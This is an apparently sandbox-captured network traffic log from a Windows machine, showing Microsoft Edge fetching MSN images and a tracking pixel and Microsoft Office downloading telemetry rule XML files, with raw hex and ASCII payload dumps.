2024-11-26 09:09:39 UTC	1370	IN	Data Raw: 6a d6 77 71 b4 77 e7 93 eb b6 52 d9 25 1e 3f 92 66 3c c4 5c 96 fd cf e1 e4 79 98 bc 5f 97 c9 5e f1 4b 13 ea eb 52 7e d5 bf c8 f5 71 57 3b 93 1c 31 35 97 54 b7 71 7f 44 3a fc b8 1c 76 66 bc 63 18 e3 2f a5 e7 e9 6a d6 62 96 8b 67 84 70 9f 87 14 47 0f bd 8f fb 29 46 4d fd 3b 2e 1f c0 f1 79 99 2c 79 30 e6 c1 e8 e4 8f d6 9f 18 ce 0f 83 8f 73 5c 7a 33 db e7 32 c3 97 c9 cb 63 c7 6f 0e 39 ea c9 29 35 aa 79 1b de 6e ba 35 55 dc 8f 17 9c 83 fe a6 73 86 ce 94 f6 f6 7a 5e 7d f6 75 d2 df 3b f8 4c 4e 3f bb c3 d5 4f ec 98 88 fd d5 b5 62 7b 62 78 e6 be 0f b4 e5 1a 78 b1 ce 51 8d 7b b9 39 c6 5b a5 ef 6a 55 f1 e0 78 f9 21 85 63 c8 b4 a7 06 ee f7 ae 1c 17 de 91 de e6 eb 04 21 e9 2c 91 8b ba d3 ad b8 a7 6d 2e 09 70 f2 39 25 e9 38 e3 6d 25 6e a3 d3 6e bc 38 d5 33 c9 58 c5 a6 Data Ascii: jwqwR%?f<\y_^KR~qW;15TqD:vfc/jbgpG)FM;.y,y0s\z32co9)5yn5Usz^}u;LN?Ob{bxxQ{9[jUx!c!,m.p9%8m%nn83X
2024-11-26 09:09:39 UTC	16288	IN	Data Raw: 6f ef f9 1f aa bc 06 12 e5 97 71 ed d3 f5 4d 6a 71 9c f8 bc b7 e8 74 2f f4 c4 78 6e 7e 45 3e 43 3c 3a 59 c9 3c 39 23 c6 32 5e cf c8 fd 7a 5c 94 5f 43 8e 7e 1d 17 d0 f7 d3 d5 e3 ea af bd e3 bf a5 d3 e9 b5 a3 de fc 9e 86 7e 8b 93 c2 61 2f d2 8f 2f 27 82 43 a2 6b b0 f7 53 d4 ba 7b 73 98 78 ed e9 ba d1 c2 6b 6f 73 e3 80 fa 0c 9e 0f 92 3f 4b f8 a3 cf 9f 87 f3 10 fd 37 d9 fc 4f 5d 7a 8d 1b f0 bd 7e 2f 25 fa 6d 7a 71 d3 b7 cb 7b cf 03 69 61 cb 1e 30 92 f6 18 9d e2 62 78 3c f3 13 5e 31 80 22 84 30 84 22 80 09 01 80 52 00 02 00 00 60 20 00 08 00 00 a8 05 43 02 89 a1 51 60 13 0c 9a 15 1a 88 33 86 54 49 a8 a8 a9 86 65 46 53 83 b8 c9 c5 f7 a7 4f e4 3a 15 03 83 a9 f3 99 e4 aa 53 73 5f ee e3 f1 3d 7e 5b c4 71 2b 59 b5 2f f0 e5 8d 4b ea a8 c9 56 9f 25 e6 b7 3e 74 44 98 Data Ascii: oqMjqt/xn~E>C<:Y<9#2^z\_C~~a//'CkS{sxkos?K7O]z~/%mzq{ia0bx<^1"0"R` CQ`3TIeFSO:Ss_=~[q+Y/KV%>tD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49873	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:39 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 21 Nov 2024 06:13:25 GMT X-Datacenter: westus X-ActivityId: 03ce6055-af58-4575-8772-ac9fb9d9904f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ8 X-Source-Length: 83046 Content-Length: 83046 Cache-Control: public, max-age=378183 Expires: Sat, 30 Nov 2024 18:12:41 GMT Date: Tue, 26 Nov 2024 09:09:38 GMT Connection: close
2024-11-26 09:09:39 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 09:09:39 UTC	16384	IN	Data Raw: fb eb 82 d5 c1 6f b6 02 e4 18 5a f5 03 80 ca 87 53 a3 a6 9f f7 11 55 bf fc 49 0b 34 d4 c0 fe a2 00 98 1c 1d e3 53 6f 71 72 e2 2d a4 a9 6a 4a 12 35 24 c0 7c 1b df 5a ec ed 20 a8 2f 1f 48 a4 f3 2f e7 3d cf 73 dc f7 d7 0a ae 28 28 24 ee a7 44 89 cc 0d 32 cd d1 f4 8e 31 6f 0c e2 1d 73 27 c0 64 fa 4c 59 b5 ed 17 fe e3 c3 73 79 07 08 12 05 b2 09 27 a2 94 ad 06 c0 ea ab be 57 d4 0d c5 5a bb 72 d0 4d bc 41 2b 52 40 27 a0 c2 a1 52 74 91 cd f9 5b 9e 92 3f c7 74 2e 41 a9 34 33 15 00 74 19 55 d6 5d a1 6a 08 58 50 98 1b 46 47 57 75 d1 37 f5 56 45 eb aa 80 b2 a2 a4 1c 48 2a 93 5c d3 27 ad 79 87 ce 38 8c 8c 27 ad 69 ef 60 16 a4 98 c4 54 12 52 a0 0e 47 a4 1d b0 5c 56 22 41 02 71 c9 81 32 78 66 ca 24 ac a4 4f b5 1f dd fb 4b ff 00 c8 ed ac dd fd e8 49 3b 62 be 6f f3 ea 16 Data Ascii: oZSUI4Soqr-jJ5$\|Z /H/=s(($D21os'dLYsy'WZrMA+R@'Rt[?t.A43tU]jXPFGWu7VEH*\'y8'i`TRG\V"Aq2xf$OKI;bo
2024-11-26 09:09:39 UTC	1933	IN	Data Raw: a8 d7 5e 3c 7a 8e 86 5f 40 13 75 69 29 30 70 d6 95 ca 78 17 cb 36 d4 0e 84 4c 88 ac d3 23 4a 57 27 d5 c6 2d 2c 20 a4 63 16 80 e8 64 d4 ef 1e 0e e2 99 7f 94 c2 46 e4 a1 61 2a 95 68 6b 95 0e 8d 37 71 22 d9 4a d4 07 a9 8a 91 a8 11 e1 3a 3a 76 d4 45 e5 2a 08 f1 f7 54 d5 f5 af 5b c6 8b 69 cb 14 89 d4 f5 aa a7 fd 3d 5e bd b3 eb db ce dc 80 a4 d2 a1 15 e7 56 38 d7 80 23 78 45 53 cf c2 5f 43 b9 02 dd c2 81 bb b7 7a 41 e1 58 1c 1a 10 2d dc 50 2a c4 a9 30 06 91 d0 99 ff 00 f1 0f 9d f6 dc f4 bf 6a ca 3b 8b 41 67 e6 12 0c f0 76 c0 16 51 04 d0 55 e5 9b 78 4d c4 82 4a 49 d0 c7 4e 14 63 72 25 16 ea 05 2b 90 09 7e 88 f3 e4 e7 25 69 45 d5 aa 46 e2 77 7a 02 75 88 cc 09 a3 e1 19 24 91 d7 f3 e2 fa fd c6 f5 c2 27 00 59 de 39 0c a9 f9 74 d0 8c 58 a2 bf 97 c3 37 5c 67 d8 c4 a8 Data Ascii: ^<z_@ui)0px6L#JW'-, cdFahk7q"J::vET[i=^V8#xES_CzAX-P*0j;AgvQUxMJINcr%+~%iEFwzu$'Y9tX7\g
2024-11-26 09:09:39 UTC	16384	IN	Data Raw: d1 f1 42 d2 52 a5 2e 71 0b 85 2a 09 32 20 83 0a db 26 1a d4 23 0a aa 9d a6 36 cf 0e ae 92 b1 7a a5 49 32 08 de 00 1a 82 3e 6a d3 da 5e f8 a6 d7 2d 27 3c 20 48 d3 5a f5 7d ae d7 d3 b4 71 a8 5d 2a 07 44 c0 4c 71 ac 9f 73 e3 f6 a1 4b a7 ed 3e d2 fb a9 49 34 4e ae 5b f4 69 d4 57 73 da 5f 05 37 81 48 15 95 50 cf f4 e1 24 ba 2b fa 65 c3 73 fc 64 7a 66 08 2a 3b d0 72 88 9f 73 ea f6 fd b2 6d ff 00 92 e4 12 2a 3a 0f 1c df 3b b9 fa cf 6d 69 2a f4 88 2b 4a b7 93 86 a0 f5 d4 0e 13 25 f3 97 ff 00 96 ac 9f 6b 89 ec 88 04 1f f1 a2 07 ca 4e 23 3f 09 34 3a ea fb 96 d2 8b 48 84 8c 29 1e dc df 87 ed fe ad 7b ba 50 4e 04 ef ab 76 a6 92 74 34 ac 70 87 ea ae 2d 52 02 6a 13 12 26 27 f5 e8 f1 66 bd ba 6f 65 14 a2 f8 50 b8 90 52 75 1c df 07 b9 ed 2c 21 2a f4 81 a2 56 44 a8 90 3d Data Ascii: BR.q2 &#6zI2>j^-'< HZ}q]DLqsK>I4N[iWs_7HP$+esdzf;rsm:;mi+J%kN#?4:H){PNvt4p-Rj&'foePRu,!VD=
2024-11-26 09:09:39 UTC	16384	IN	Data Raw: fe 60 27 ac bf 45 0f 5b 9d 38 47 9f 1d 8a 8e 69 1e 3f 66 63 b1 58 3f 32 7c fe cf bc f2 1c e7 57 84 71 bf 84 af dc 9f 36 5f c1 fe bf 01 fa be c3 c9 73 95 38 c7 35 3d 98 1a a8 9e 41 bf f8 b6 fa ab c9 db 7a e7 2a ba 8a 07 b1 b0 ad 52 7c 63 dc e7 f0 bb 7f fe b9 e6 7e ef a0 f5 cd ae 9c ff 00 e0 f6 ff 00 fd 28 67 fc 5b 03 4b 36 ff 00 ed 0e eb c6 d8 ac 2d 5b 1a 5b 47 fd a9 fb 3d c0 91 a2 40 e4 3e cd f4 60 e8 c8 0e 73 1e 6f 5c a3 8a 9e da b9 c8 bc 8d 8c 74 74 6c 6c 79 03 87 8b d9 e2 59 48 ea c0 63 87 9b c8 1d 1b 29 c1 cf 6c 98 2b 93 d8 0f 49 d8 c7 46 1b 1b 7c 1c 8d af 67 da 1e 0d 91 b0 b0 8f 20 33 de e2 f0 9e a0 b0 c8 da f6 38 3c 94 bc 8e 0c 0e 18 c3 c9 1c 5e cf 12 c3 21 ca b2 9f ea 79 cc 30 92 ae a5 ca f5 79 21 c9 1e d2 c0 1e b2 97 b8 b8 30 c6 52 e0 23 8f 8b 3a Data Ascii: `'E[8Gi?fcX?2\|Wq6_s85=Az*R\|c~(g[K6-[[G=@>`so\ttllyYHc)l+IF\|g 38<^!y0y!0R#:
2024-11-26 09:09:39 UTC	7952	IN	Data Raw: 32 b9 78 a5 0a 55 d4 a6 12 2a 5c 08 4a 2d 85 48 99 d6 aa 24 f2 e1 c1 d8 52 e9 40 09 fd a5 d2 b5 de 5a bd bc 84 a6 78 81 25 f4 00 b3 77 7d 60 25 51 a8 26 3d f0 e8 72 14 85 8c 35 49 19 45 09 7c 0e e9 03 b3 5e 35 2a ea b1 ab 44 ca 87 34 c3 eb 0b 72 bc 29 23 00 ae 2f ee e9 dc 52 d3 74 a0 82 a4 c5 14 24 f8 e4 1c 0c 00 a8 63 13 24 52 41 14 d9 93 72 14 12 61 75 1b 1a ad 83 10 a3 3d 4e 9c a8 dc a2 0e e4 65 af f6 2e 8e 6d cf e4 a6 ee 3b 06 d2 ed fe d5 95 25 43 fe d0 59 ea a2 b2 12 95 1f 98 24 c8 3e 2f a2 94 85 01 d4 70 3a 72 68 b8 10 83 8a 4e c9 d3 9b 08 84 a0 4e 1d d3 d2 59 25 7a 8f 97 9c 79 87 cd 3d c2 2f 27 ff 00 d6 c2 b5 0a 10 a9 4f 99 a1 60 11 dc 26 54 a8 57 08 90 06 d1 52 c2 d0 de 98 24 c1 d3 8f 03 0d a2 e9 42 4e 33 ae 47 da ae 88 32 71 02 63 38 34 a7 b9 b4 Data Ascii: 2xU\J-H$R@Zx%w}`%Q&=r5IE\|^5D4r)#/Rt$c$RArau=Ne.m;%CY$>/p:rhNNY%zy=/'O`&TWR$BN3G2qc84
2024-11-26 09:09:39 UTC	8144	IN	Data Raw: 83 19 1f 26 38 7c 5d 03 34 a7 ea c6 b5 cd 91 1c 98 eb ab 0c 4a a0 c5 52 72 fe ee d9 40 5d 71 82 78 8d ef 17 56 a7 41 2e 53 3a 30 db 8b 88 0a 33 5c 9d 91 6d 4a 12 07 30 eb 99 3a d7 cd 92 14 51 40 4a 76 30 b2 3b 7f 49 32 20 f9 92 eb dc 54 0d e8 d9 1a 79 3b 57 31 26 02 14 36 d5 d7 de 57 cc a9 71 01 64 db 35 04 f8 17 8a b5 75 6a 9f 51 21 03 a4 9f 17 77 0c 0d da fb 98 cc 08 2a 1b 1d 42 2d a4 83 38 f1 74 81 a3 b6 ab ab 56 ee 04 9e 3a 79 b9 6d 25 54 11 3b 58 5c bf e8 1c 26 d8 55 72 58 f7 6a e0 72 12 94 e5 07 ab 8a bc 91 49 e5 fa 3a 1d ca ef 5c 41 16 50 a9 23 3a 01 cd f9 ab 56 7b ce dd 58 ee aa d8 4c d6 a4 ab 60 61 ec 8d e4 59 de 22 00 e1 01 f3 3b 8b 88 ef c4 5b 37 10 3a 85 47 91 60 9b ca bb 96 14 ff 00 55 49 e3 19 3b b6 90 54 6b fa 78 ba 39 f6 bb 13 60 7f e5 5a Data Ascii: &8\|]4JRr@]qxVA.S:03\mJ0:Q@Jv0;I2 Ty;W1&6Wqd5ujQ!w*B-8tV:ym%T;X\&UrXjrI:\AP#:V{XL`aY";[7:G`UI;Tkx9`Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49874	20.110.205.119	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:39 UTC	1279	OUT	GET /c.gif?rnd=1732612172318&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3021cb2473a14ef8b69c57142c0e7b9b&activityId=3021cb2473a14ef8b69c57142c0e7b9b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=592C20CA0432444D92EC8C494133F002&MUID=110737551C0664D7127822161D1F6521 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; _C_ETH=1; SM=T; msnup=
2024-11-26 09:09:39 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=110737551C0664D7127822161D1F6521; domain=.msn.com; expires=Sun, 21-Dec-2025 09:09:39 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=110737551C0664D7127822161D1F6521; domain=c.msn.com; expires=Sun, 21-Dec-2025 09:09:39 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 03-Dec-2024 09:09:39 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 26-Nov-2024 09:19:39 GMT; path=/; SameSite=None; Secure; Date: Tue, 26 Nov 2024 09:09:39 GMT Connection: close Content-Length: 42
2024-11-26 09:09:39 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:39 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090940Z-174f7845968nxc96hC1EWRspw80000000uv000000000a7dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:40 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090940Z-174f7845968cdxdrhC1EWRg0en0000000v8g0000000012p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:40 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090940Z-174f7845968ljs8phC1EWRe6en0000000v5g000000000fh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090940Z-174f7845968l4kp6hC1EWRe8840000000vk00000000013e8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:40 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:40 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090940Z-174f7845968l4kp6hC1EWRe8840000000vfg0000000049vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
